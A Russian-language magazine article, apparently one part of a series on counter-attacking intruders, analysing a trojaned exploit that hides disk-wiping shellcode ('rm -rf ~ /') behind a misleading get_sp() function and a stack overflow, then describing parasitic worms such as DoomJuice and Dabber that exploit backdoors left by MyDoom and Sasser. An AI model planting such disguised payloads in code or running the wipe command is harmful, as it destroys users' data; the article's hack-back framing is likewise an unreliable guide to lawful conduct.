Продолжение: часть
первая
, часть вторая,
часть третья.

Напомню, что мы закончили на разборе эксплоита,
который бы практически уничтожал машину нападающего.

Как и в предыдущем примере, данный эксплоит полностью использует человеческую
леность и нежелание разбираться в достаточно невинно выглядящем коде. Давайте
поближе взглянем на

сам эксплоит
. В нем можно обнаружить следующие фрагменты:

char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
...
unsigned long get_sp (void)
{
__asm__ ("lea esp, %eax");
}

Что тут не так? В первой строке шеллкод со странным именем (esp)
записывается в секцию .text. Впоследствии функция get_sp() использует lea
вместо mov. Невнимательный пользователь увидит лишь, что функция get_sp() всего-навсего
кладет esp в eax. Однако тут esp это некий набор
опкодов. Обман достаточно элегантен - подмена имен совмещена с переполнением
стека. Эксплоит можно представить следующим кодом:

3 void fill (char *buff, int size, unsigned long val)

4 {
5 unsigned long *ptr = (unsigned long *) buff;
6 for (
size /= sizeof (unsigned long);
size > 0; size--) *ptr++ = val;
7 }
8
9 int th30_iz_own3d(char c)
10 {
11 char *rets = alloca(c);
12
fill(rets, c, 0x41414141);
13 }

14 main()
15 {
16
th30_iz_own3d(246);
17 }

В строке 16 число 246 передается как аргумент функции th30_iz_own3d().
Однако, число должно быть преобразовано в символ, что приводит к получению -10 в
функции. Операции выравнивания, положенные компилятором, преобразуют это число в
16 и, соответственно, эти 16 байт выделяются стеке. При вызове функции
fill() число -10 используется для вызова цикла - когда
дело доходит до функции деления sizeof() определяется для unsigned int .
Следовательно деление будет происходить для беззнакового целого, что для -10
составит 4294967286, и результат (1073741821) явно переполнит выделенный в
предыдущей части стек. Следовательно адрес возврата функции th30_iz_own3d()
будет заменен на адрес шеллкода.

Шеллкод сам по себе стирает всю информацию с диска:

execve("/bin/sh", "-c", "rm -rf ~ / &", NULL)

следовательно любой запустивший этот эксплоит получит девственно чистый
жесткий винчестер и добрую порцию удивления от случившегося.

Полный контроль

Итак, мы уже обсудили сбор информации о нападающем, закрытие определенных
ресурсов (DoS), пора перейти к подчинению его
компьютера себе. Наша цель на данном этапе - взять под контроль нападающего
взломщика. В определенной степени мы могли бы использовать заранее протрояненые
эксплоиты, ведь сообщается о существовании таких "эксплуатируемых эксплоитов".
Можно установить поддельную цель и с нее взламывать эксплоиты хакеров, однако
это не спортивно и больше используется в мире malware.

Паразиты среди нас

Сегодня мы сталкиваемся с вредоносным софтом, который использует в своих
интересах предшествующий софт аналогичного рода. Это может быть использование
бэкдоров, оставленных эксплоитами или же обнаружение и взлом уязвимостей в самом
malware. Ниже мы рассмотрим такие примеры и как их можно использовать для атаки
на взломщика.

По видимому самым известным примером такого рода является DoomJuice. Эта
программа распространялась через бэкдор, оставленный известнейшим вирусом MyDoom.
Впервые червь появился в конце Января 2004 года, в основном он распространялся
по электронной почте, используя адреса, найденные на пораженной машине. Кроме
того для размножения им использовалась пиринговая сеть KaZaA. Интересной
особенностью этого червя было открытие бэкдора на каждой зараженной машине на
порту 3127, что делало ее легкой целью для последующих атак. Кроме того MyDoom
призван был организовать распределенную атаку на сайты Microsoft и SCO,
однако это не совсем удалось и все закончилось каким-то мизерным ущербом. В то
время MyDoom был достаточно эффективным червем, в пике его эпидемии он
содержался в каждом 12 письме и в первые 24 часа антивирусной компанией
MessageLabs было перехвачено более 1.2 миллиона его копий!

В начале Февраля 2005 появилась первая программа, которая пыталась
использовать широкое распространение MyDoom-а. паразитный червь DoomJuice
эксплуатировал бэкдор, оставленный своим "родственником" для проникновения на
систему и дальнейшего распространения. Таким образом он получил достаточно
эффективный механизм размножения, не требующий особых усилий. Сама же "нагрузка"
червя не была достаточно интересна - он тупо пытался организовать распределенную
атаку на сайт Microsoft, хотя можно было бы придумать и более интересные
варианты...  Этот червь лишь один пример целого класса паразитического
malware, взламывающего другой вредоносный софт и получающего таким образом
эффективный механизм проникновения и размножения.

В качестве другого примера давайте возьмем червь Sasser. Впервые появился он
в конце Апреля 2004 года, для проникновения он
использовал известную уязвимость в LSASS, переполнение буфера в LSASRV.DLL. Так
как он был одним из первых, использующих эту уязвимость, ему удалось поразить
значительное число компьютеров. Однако, всем нам известно как трудно
программировать без ошибок - и в самом черве нашли ошибки. В частности, ошибка
была в FTP сервере, который использовался для передачи файлов между зараженными
машинами. FTP сервер Sasser-а висел на 5554 порту и был подвержен переполнению
буфера - для этой уязвимости было написано несколько

эксплоитов
и создан
червь,
распространяющийся по зараженным Sasser-ом машинам - Dabber. Подобно DoomJuice он распространялся по зараженным машинам, однако не орагнизовывал нелепых
атак, а попадая на компьютер устанавливал запароленный бэкдор, при помощи
которого хакер мог бы взять машину под полный контроль.

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии